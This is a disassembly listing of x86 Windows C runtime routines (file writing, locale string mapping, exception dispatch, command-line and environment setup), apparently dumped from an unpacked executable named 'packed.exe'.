loc_4232CF: ; CODE XREF: sub_4231D6+150j ; sub_4231D6+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_423365 cmp [ebp+arg_0], edi jz short loc_42333E push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423333 mov dword_4DE02C, 9 mov dword_4DE030, eax jmp loc_42337B ; --------------------------------------------------------------------------- loc_4232FB: ; CODE XREF: sub_4231D6+E0j call dword_42808C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4232CD ; --------------------------------------------------------------------------- loc_423306: ; CODE XREF: sub_4231D6+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_4280E0 ; WriteFile test eax, eax jz short loc_423328 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4232CF ; --------------------------------------------------------------------------- loc_423328: ; CODE XREF: sub_4231D6+145j call dword_42808C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4232CF ; --------------------------------------------------------------------------- loc_423333: ; CODE XREF: sub_4231D6+10Fj push [ebp+arg_0] call sub_420BDF pop ecx jmp short loc_42337B ; --------------------------------------------------------------------------- loc_42333E: ; CODE XREF: sub_4231D6+7Bj ; sub_4231D6+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423353 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423220 loc_423353: ; CODE XREF: sub_4231D6+16Fj mov dword_4DE02C, 1Ch mov dword_4DE030, edi jmp short loc_42337B ; --------------------------------------------------------------------------- loc_423365: ; CODE XREF: sub_4231D6+FEj sub eax, [ebp+var_10] jmp short loc_42337E ; --------------------------------------------------------------------------- loc_42336A: ; CODE XREF: sub_4231D6+15j ; sub_4231D6+37j and dword_4DE030, 0 mov dword_4DE02C, 9 loc_42337B: ; CODE XREF: sub_4231D6+120j ; sub_4231D6+166j ... or eax, 0FFFFFFFFh loc_42337E: ; CODE XREF: sub_4231D6+4Cj ; sub_4231D6+192j pop edi pop esi pop ebx leave retn sub_4231D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423383 proc near ; CODE XREF: sub_41DDAA+47p ; sub_41DDAA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428950 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DE108, edi jnz short loc_4233F9 push edi push edi push 1 pop ebx push ebx push offset dword_428948 mov esi, 100h push esi push edi call dword_428050 ; LCMapStringW test eax, eax jz short loc_4233D7 mov dword_4DE108, ebx jmp short loc_4233F9 ; --------------------------------------------------------------------------- loc_4233D7: ; CODE XREF: sub_423383+4Aj push edi push edi push ebx push offset word_4CDB1C push esi push edi call dword_428054 ; LCMapStringA test eax, eax jz loc_423511 mov dword_4DE108, 2 loc_4233F9: ; CODE XREF: sub_423383+2Ej ; sub_423383+52j cmp [ebp+arg_C], edi jle short loc_42340E push [ebp+arg_C] push [ebp+arg_8] call sub_4235A7 pop ecx pop ecx mov [ebp+arg_C], eax loc_42340E: ; CODE XREF: sub_423383+79j mov eax, dword_4DE108 cmp eax, 2 jnz short loc_423435 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA jmp loc_423513 ; --------------------------------------------------------------------------- loc_423435: ; CODE XREF: sub_423383+93j cmp eax, 1 jnz loc_423511 cmp [ebp+arg_18], edi jnz short loc_42344B mov eax, dword_4DE0FC mov [ebp+arg_18], eax loc_42344B: ; CODE XREF: sub_423383+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_428184 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423511 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4234A6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4234A6: ; CODE XREF: sub_423383+10Ej cmp [ebp+var_24], edi jz short loc_423511 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_428184 ; MultiByteToWideChar test eax, eax jz short loc_423511 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423511 test byte ptr [ebp+arg_4+1], 4 jz short loc_423525 cmp [ebp+arg_14], edi jz loc_4235A0 cmp esi, [ebp+arg_14] jg short loc_423511 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW test eax, eax jnz loc_4235A0 loc_423511: ; CODE XREF: sub_423383+66j ; sub_423383+B5j ... xor eax, eax loc_423513: ; CODE XREF: sub_423383+ADj ; sub_423383+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_423525: ; CODE XREF: sub_423383+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_423559 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423559: ; CODE XREF: sub_423383+1C2j cmp ebx, edi jz short loc_423511 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW test eax, eax jz short loc_423511 cmp [ebp+arg_14], edi push edi push edi jnz short loc_423580 push edi push edi jmp short loc_423586 ; --------------------------------------------------------------------------- loc_423580: ; CODE XREF: sub_423383+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_423586: ; CODE XREF: sub_423383+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_428180 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_423511 loc_4235A0: ; CODE XREF: sub_423383+165j ; sub_423383+188j mov eax, esi jmp loc_423513 sub_423383 endp ; =============== S U B R O U T I N E ======================================= sub_4235A7 proc near ; CODE XREF: sub_423383+81p ; sub_426733+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4235C4 loc_4235B7: ; CODE XREF: sub_4235A7+1Bj cmp byte ptr [eax], 0 jz short loc_4235C4 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4235B7 loc_4235C4: ; CODE XREF: sub_4235A7+Ej ; sub_4235A7+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4235CF sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4235CF: ; CODE XREF: sub_4235A7+21j mov eax, edx retn sub_4235A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235D2 proc near ; CODE XREF: .packed:0041E216p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_423713 test eax, eax pop ecx jz loc_423707 mov ebx, [eax+8] test ebx, ebx jz loc_423707 cmp ebx, 5 jnz short loc_423603 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423710 ; --------------------------------------------------------------------------- loc_423603: ; CODE XREF: sub_4235D2+23j cmp ebx, 1 jz loc_423702 mov ecx, dword_4DE10C mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4DE10C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_4236F2 mov ecx, dword_43F8B0 mov edx, dword_43F8B4 add edx, ecx push esi cmp ecx, edx jge short loc_423652 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43F840h[esi*4] loc_423649: ; CODE XREF: sub_4235D2+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_423649 loc_423652: ; CODE XREF: sub_4235D2+69j mov eax, [eax] mov esi, dword_43F8BC cmp eax, 0C000008Eh jnz short loc_42366D mov dword_43F8BC, 83h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_42366D: ; CODE XREF: sub_4235D2+8Dj cmp eax, 0C0000090h jnz short loc_423680 mov dword_43F8BC, 81h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_423680: ; CODE XREF: sub_4235D2+A0j cmp eax, 0C0000091h jnz short loc_423693 mov dword_43F8BC, 84h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_423693: ; CODE XREF: sub_4235D2+B3j cmp eax, 0C0000093h jnz short loc_4236A6 mov dword_43F8BC, 85h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_4236A6: ; CODE XREF: sub_4235D2+C6j cmp eax, 0C000008Dh jnz short loc_4236B9 mov dword_43F8BC, 82h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_4236B9: ; CODE XREF: sub_4235D2+D9j cmp eax, 0C000008Fh jnz short loc_4236CC mov dword_43F8BC, 86h jmp short loc_4236DD ; --------------------------------------------------------------------------- loc_4236CC: ; CODE XREF: sub_4235D2+ECj cmp eax, 0C0000092h jnz short loc_4236DD mov dword_43F8BC, 8Ah loc_4236DD: ; CODE XREF: sub_4235D2+99j ; sub_4235D2+ACj ... push dword_43F8BC push 8 call ebx pop ecx mov dword_43F8BC, esi pop ecx pop esi jmp short loc_4236FA ; --------------------------------------------------------------------------- loc_4236F2: ; CODE XREF: sub_4235D2+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_4236FA: ; CODE XREF: sub_4235D2+11Ej mov eax, [ebp+arg_0] mov dword_4DE10C, eax loc_423702: ; CODE XREF: sub_4235D2+34j or eax, 0FFFFFFFFh jmp short loc_423710 ; --------------------------------------------------------------------------- loc_423707: ; CODE XREF: sub_4235D2+Fj ; sub_4235D2+1Aj push [ebp+arg_4] call dword_42804C ; UnhandledExceptionFilter loc_423710: ; CODE XREF: sub_4235D2+2Cj ; sub_4235D2+133j pop ebx pop ebp retn sub_4235D2 endp ; =============== S U B R O U T I N E ======================================= sub_423713 proc near ; CODE XREF: sub_4235D2+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43F8B8 cmp dword_43F838, edx push esi mov eax, offset dword_43F838 jz short loc_423740 lea esi, [ecx+ecx*2] lea esi, ds:43F838h[esi*4] loc_423735: ; CODE XREF: sub_423713+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423740 cmp [eax], edx jnz short loc_423735 loc_423740: ; CODE XREF: sub_423713+16j ; sub_423713+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43F838h[ecx*4] cmp eax, ecx jnb short loc_423753 cmp [eax], edx jz short locret_423755 loc_423753: ; CODE XREF: sub_423713+3Aj xor eax, eax locret_423755: ; CODE XREF: sub_423713+3Ej retn sub_423713 endp ; =============== S U B R O U T I N E ======================================= sub_423756 proc near ; CODE XREF: .packed:0041E1D8p cmp dword_4DF6D4, 0 jnz short loc_423764 call sub_420A6D loc_423764: ; CODE XREF: sub_423756+7j push esi mov esi, dword_4DF6CC mov al, [esi] cmp al, 22h jnz short loc_423796 loc_423771: ; CODE XREF: sub_423756+33j ; sub_423756+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_42378E test al, al jz short loc_42378E movzx eax, al push eax call sub_42566F test eax, eax pop ecx jz short loc_423771 inc esi jmp short loc_423771 ; --------------------------------------------------------------------------- loc_42378E: ; CODE XREF: sub_423756+21j ; sub_423756+25j cmp byte ptr [esi], 22h jnz short loc_4237A0 loc_423793: ; CODE XREF: sub_423756+52j inc esi jmp short loc_4237A0 ; --------------------------------------------------------------------------- loc_423796: ; CODE XREF: sub_423756+19j cmp al, 20h jbe short loc_4237A0 loc_42379A: ; CODE XREF: sub_423756+48j inc esi cmp byte ptr [esi], 20h ja short loc_42379A loc_4237A0: ; CODE XREF: sub_423756+3Bj ; sub_423756+3Ej ... mov al, [esi] test al, al jz short loc_4237AA cmp al, 20h jbe short loc_423793 loc_4237AA: ; CODE XREF: sub_423756+4Ej mov eax, esi pop esi retn sub_423756 endp ; =============== S U B R O U T I N E ======================================= sub_4237AE proc near ; CODE XREF: .packed:0041E1C1p push ebx xor ebx, ebx cmp dword_4DF6D4, ebx push esi push edi jnz short loc_4237C0 call sub_420A6D loc_4237C0: ; CODE XREF: sub_4237AE+Bj mov esi, dword_4DE0A0 xor edi, edi loc_4237C8: ; CODE XREF: sub_4237AE+30j mov al, [esi] cmp al, bl jz short loc_4237E0 cmp al, 3Dh jz short loc_4237D3 inc edi loc_4237D3: ; CODE XREF: sub_4237AE+22j push esi call sub_41B7B0 pop ecx lea esi, [esi+eax+1] jmp short loc_4237C8 ; --------------------------------------------------------------------------- loc_4237E0: ; CODE XREF: sub_4237AE+1Ej lea eax, ds:4[edi*4] push eax call sub_41BCA5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DE054, esi jnz short loc_423802 push 9 call sub_41E229 pop ecx loc_423802: ; CODE XREF: sub_4237AE+4Aj mov edi, dword_4DE0A0 cmp [edi], bl jz short loc_423845 push ebp loc_42380D: ; CODE XREF: sub_4237AE+94j push edi call sub_41B7B0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_42383E push ebp call sub_41BCA5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423831 push 9 call sub_41E229 pop ecx loc_423831: ; CODE XREF: sub_4237AE+79j push edi push dword ptr [esi] call sub_41C680 pop ecx add esi, 4 pop ecx loc_42383E: ; CODE XREF: sub_4237AE+6Cj add edi, ebp cmp [edi], bl jnz short loc_42380D pop ebp loc_423845: ; CODE XREF: sub_4237AE+5Cj push dword_4DE0A0 call sub_41B881 pop ecx mov dword_4DE0A0, ebx mov [esi], ebx pop edi pop esi mov dword_4DF6D0, 1 pop ebx retn sub_4237AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423867 proc near ; CODE XREF: .packed:0041E1BCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DF6D4, ebx push esi push edi jnz short loc_42387E call sub_420A6D loc_42387E: ; CODE XREF: sub_423867+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_428074 ; GetModuleFileNameA mov eax, dword_4DF6CC mov off_4DE064, esi mov edi, esi cmp [eax], bl jz short loc_4238A3 mov edi, eax loc_4238A3: ; CODE XREF: sub_423867+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_423900 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41BCA5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4238D3 push 8 call sub_41E229 pop ecx loc_4238D3: ; CODE XREF: sub_423867+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423900 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4DE04C, esi pop edi pop esi mov dword_4DE048, eax pop ebx leave retn sub_423867 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423900 proc near ; CODE XREF: sub_423867+47p ; sub_423867+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42392A mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42392A: ; CODE XREF: sub_423900+20j cmp byte ptr [eax], 22h jnz short loc_423973 loc_42392F: ; CODE XREF: sub_423900+58j ; sub_423900+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423961 test dl, dl jz short loc_423961 movzx edx, dl test byte_4DF5A1[edx], 4 jz short loc_423954 inc dword ptr [ecx] test esi, esi jz short loc_423954 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423954: ; CODE XREF: sub_423900+46j ; sub_423900+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42392F mov dl, [eax] mov [esi], dl inc esi jmp short loc_42392F ; --------------------------------------------------------------------------- loc_423961: ; CODE XREF: sub_423900+36j ; sub_423900+3Aj inc dword ptr [ecx] test esi, esi jz short loc_42396B and byte ptr [esi], 0 inc esi loc_42396B: ; CODE XREF: sub_423900+65j cmp byte ptr [eax], 22h jnz short loc_4239B6 inc eax jmp short loc_4239B6 ; --------------------------------------------------------------------------- loc_423973: ; CODE XREF: sub_423900+2Dj ; sub_423900+A5j inc dword ptr [ecx] test esi, esi jz short loc_42397E mov dl, [eax] mov [esi], dl inc esi loc_42397E: ; CODE XREF: sub_423900+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DF5A1[ebx], 4 jz short loc_423999 inc dword ptr [ecx] test esi, esi jz short loc_423998 mov bl, [eax] mov [esi], bl inc esi loc_423998: ; CODE XREF: sub_423900+91j inc eax loc_423999: ; CODE XREF: sub_423900+8Bj cmp dl, 20h jz short loc_4239A7 test dl, dl jz short loc_4239AB cmp dl, 9 jnz short loc_423973 loc_4239A7: ; CODE XREF: sub_423900+9Cj test dl, dl jnz short loc_4239AE loc_4239AB: ; CODE XREF: sub_423900+A0j dec eax jmp short loc_4239B6 ; --------------------------------------------------------------------------- loc_4239AE: ; CODE XREF: sub_423900+A9j test esi, esi jz short loc_4239B6 and byte ptr [esi-1], 0 loc_4239B6: ; CODE XREF: sub_423900+6Ej ; sub_423900+71j ... and [ebp+arg_10], 0 loc_4239BA: ; CODE XREF: sub_423900+19Ej cmp byte ptr [eax], 0 jz loc_423AA3 loc_4239C3: ; CODE XREF: sub_423900+D0j mov dl, [eax] cmp dl, 20h jz short loc_4239CF cmp dl, 9 jnz short loc_4239D2 loc_4239CF: ; CODE XREF: sub_423900+C8j inc eax jmp short loc_4239C3 ; --------------------------------------------------------------------------- loc_4239D2: ; CODE XREF: sub_423900+CDj cmp byte ptr [eax], 0 jz loc_423AA3 test edi, edi jz short loc_4239E7 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4239E7: ; CODE XREF: sub_423900+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_4239EC: ; CODE XREF: sub_423900+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4239F5: ; CODE XREF: sub_423900+FCj cmp byte ptr [eax], 5Ch jnz short loc_4239FE inc eax inc ebx jmp short loc_4239F5 ; --------------------------------------------------------------------------- loc_4239FE: ; CODE XREF: sub_423900+F8j cmp byte ptr [eax], 22h jnz short loc_423A2F test bl, 1 jnz short loc_423A2D xor edi, edi cmp [ebp+arg_10], edi jz short loc_423A1C cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423A1C mov eax, edx jmp short loc_423A1F ; --------------------------------------------------------------------------- loc_423A1C: ; CODE XREF: sub_423900+10Dj ; sub_423900+116j mov [ebp+arg_0], edi loc_423A1F: ; CODE XREF: sub_423900+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423A2D: ; CODE XREF: sub_423900+106j shr ebx, 1 loc_423A2F: ; CODE XREF: sub_423900+101j mov edx, ebx dec ebx test edx, edx jz short loc_423A44 inc ebx loc_423A37: ; CODE XREF: sub_423900+142j test esi, esi jz short loc_423A3F mov byte ptr [esi], 5Ch inc esi loc_423A3F: ; CODE XREF: sub_423900+139j inc dword ptr [ecx] dec ebx jnz short loc_423A37 loc_423A44: ; CODE XREF: sub_423900+134j mov dl, [eax] test dl, dl jz short loc_423A94 cmp [ebp+arg_10], 0 jnz short loc_423A5A cmp dl, 20h jz short loc_423A94 cmp dl, 9 jz short loc_423A94 loc_423A5A: ; CODE XREF: sub_423900+14Ej cmp [ebp+arg_0], 0 jz short loc_423A8E test esi, esi jz short loc_423A7D movzx ebx, dl test byte_4DF5A1[ebx], 4 jz short loc_423A76 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423A76: ; CODE XREF: sub_423900+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_423A8C ; --------------------------------------------------------------------------- loc_423A7D: ; CODE XREF: sub_423900+162j movzx edx, dl test byte_4DF5A1[edx], 4 jz short loc_423A8C inc eax inc dword ptr [ecx] loc_423A8C: ; CODE XREF: sub_423900+17Bj ; sub_423900+187j inc dword ptr [ecx] loc_423A8E: ; CODE XREF: sub_423900+15Ej inc eax jmp loc_4239EC ; --------------------------------------------------------------------------- loc_423A94: ; CODE XREF: sub_423900+148j ; sub_423900+153j ... test esi, esi jz short loc_423A9C and byte ptr [esi], 0 inc esi loc_423A9C: ; CODE XREF: sub_423900+196j inc dword ptr [ecx] jmp loc_4239BA ; --------------------------------------------------------------------------- loc_423AA3: ; CODE XREF: sub_423900+BDj ; sub_423900+D5j test edi, edi jz short loc_423AAA and dword ptr [edi], 0 loc_423AAA: ; CODE XREF: sub_423900+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423900 endp ; =============== S U B R O U T I N E ======================================= sub_423AB4 proc near ; CODE XREF: .packed:0041E1B2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4DE214 push ebx push ebp mov ebp, dword_42803C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423B02 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_423AE3 mov dword_4DE214, 1 jmp short loc_423B0B ; --------------------------------------------------------------------------- loc_423AE3: ; CODE XREF: sub_423AB4+21j call dword_428040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_423BDD mov dword_4DE214, 2 jmp loc_423B91 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: sub_423AB4+19j cmp eax, 1 jnz loc_423B8C loc_423B0B: ; CODE XREF: sub_423AB4+2Dj cmp esi, ebx jnz short loc_423B1B call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_423BDD loc_423B1B: ; CODE XREF: sub_423AB4+59j cmp [esi], bx mov eax, esi jz short loc_423B30 loc_423B22: ; CODE XREF: sub_423AB4+73j ; sub_423AB4+7Aj inc eax inc eax cmp [eax], bx jnz short loc_423B22 inc eax inc eax cmp [eax], bx jnz short loc_423B22 loc_423B30: ; CODE XREF: sub_423AB4+6Cj sub eax, esi mov edi, dword_428180 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_423B81 push ebp call sub_41BCA5 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_423B81 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_423B7D push [esp+18h+var_8] call sub_41B881 pop ecx mov [esp+18h+var_8], ebx loc_423B7D: ; CODE XREF: sub_423AB4+B9j mov ebx, [esp+18h+var_8] loc_423B81: ; CODE XREF: sub_423AB4+99j ; sub_423AB4+A8j push esi call dword_428044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_423BDF ; --------------------------------------------------------------------------- loc_423B8C: ; CODE XREF: sub_423AB4+51j cmp eax, 2 jnz short loc_423BDD loc_423B91: ; CODE XREF: sub_423AB4+49j cmp edi, ebx jnz short loc_423BA1 call dword_428040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_423BDD loc_423BA1: ; CODE XREF: sub_423AB4+DFj cmp [edi], bl mov eax, edi jz short loc_423BB1 loc_423BA7: ; CODE XREF: sub_423AB4+F6j ; sub_423AB4+FBj inc eax cmp [eax], bl jnz short loc_423BA7 inc eax cmp [eax], bl jnz short loc_423BA7 loc_423BB1: ; CODE XREF: sub_423AB4+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BCA5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423BC7 xor esi, esi jmp short loc_423BD2 ; --------------------------------------------------------------------------- loc_423BC7: ; CODE XREF: sub_423AB4+10Dj push ebp push edi push esi call near ptr sub_41CAE0 add esp, 0Ch loc_423BD2: ; CODE XREF: sub_423AB4+111j push edi call dword_428048 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_423BDF ; --------------------------------------------------------------------------- loc_423BDD: ; CODE XREF: sub_423AB4+39j ; sub_423AB4+61j ... xor eax, eax loc_423BDF: ; CODE XREF: sub_423AB4+D6j ; sub_423AB4+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_423AB4 endp ; =============== S U B R O U T I N E ======================================= sub_423BE6 proc near ; CODE XREF: .packed:0041E1A2p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BCA5 mov esi, eax pop ecx test esi, esi jnz short loc_423C06 push 1Bh call sub_41E229 pop ecx loc_423C06: ; CODE XREF: sub_423BE6+16j mov dword_4DE360, esi mov dword_4DE460, 20h lea eax, [esi+100h] loc_423C1C: ; CODE XREF: sub_423BE6+52j cmp esi, eax jnb short loc_423C3A and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DE360 add esi, 8 add eax, 100h jmp short loc_423C1C ; --------------------------------------------------------------------------- loc_423C3A: ; CODE XREF: sub_423BE6+38j lea eax, [esp+54h+var_44] push eax call dword_4281AC ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_423D16 mov eax, [esp+54h+var_10] test eax, eax jz loc_423D16 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423C70 mov esi, eax loc_423C70: ; CODE XREF: sub_423BE6+86j cmp dword_4DE460, esi jge short loc_423CCA mov edi, offset dword_4DE364 loc_423C7D: ; CODE XREF: sub_423BE6+DAj push 100h call sub_41BCA5 test eax, eax pop ecx jz short loc_423CC4 add dword_4DE460, 20h mov [edi], eax lea ecx, [eax+100h] loc_423C9B: ; CODE XREF: sub_423BE6+CFj cmp eax, ecx jnb short loc_423CB7 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423C9B ; --------------------------------------------------------------------------- loc_423CB7: ; CODE XREF: sub_423BE6+B7j add edi, 4 cmp dword_4DE460, esi jl short loc_423C7D jmp short loc_423CCA ; --------------------------------------------------------------------------- loc_423CC4: ; CODE XREF: sub_423BE6+A4j mov esi, dword_4DE460 loc_423CCA: ; CODE XREF: sub_423BE6+90j ; sub_423BE6+DCj xor edi, edi test esi, esi jle short loc_423D16 loc_423CD0: ; CODE XREF: sub_423BE6+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423D0D mov cl, [ebp+0] test cl, 1 jz short loc_423D0D test cl, 8 jnz short loc_423CEF push eax call dword_428030 ; GetFileType test eax, eax jz short loc_423D0D loc_423CEF: ; CODE XREF: sub_423BE6+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DE360[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423D0D: ; CODE XREF: sub_423BE6+EFj ; sub_423BE6+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423CD0 loc_423D16: ; CODE XREF: sub_423BE6+65j ; sub_423BE6+71j ... xor ebx, ebx loc_423D18: ; CODE XREF: sub_423BE6+195j mov eax, dword_4DE360 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423D73 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423D33 push 0FFFFFFF6h pop eax jmp short loc_423D3D ; --------------------------------------------------------------------------- loc_423D33: ; CODE XREF: sub_423BE6+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423D3D: ; CODE XREF: sub_423BE6+14Bj push eax call dword_428034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423D62 push edi call dword_428030 ; GetFileType test eax, eax jz short loc_423D62 and eax, 0FFh 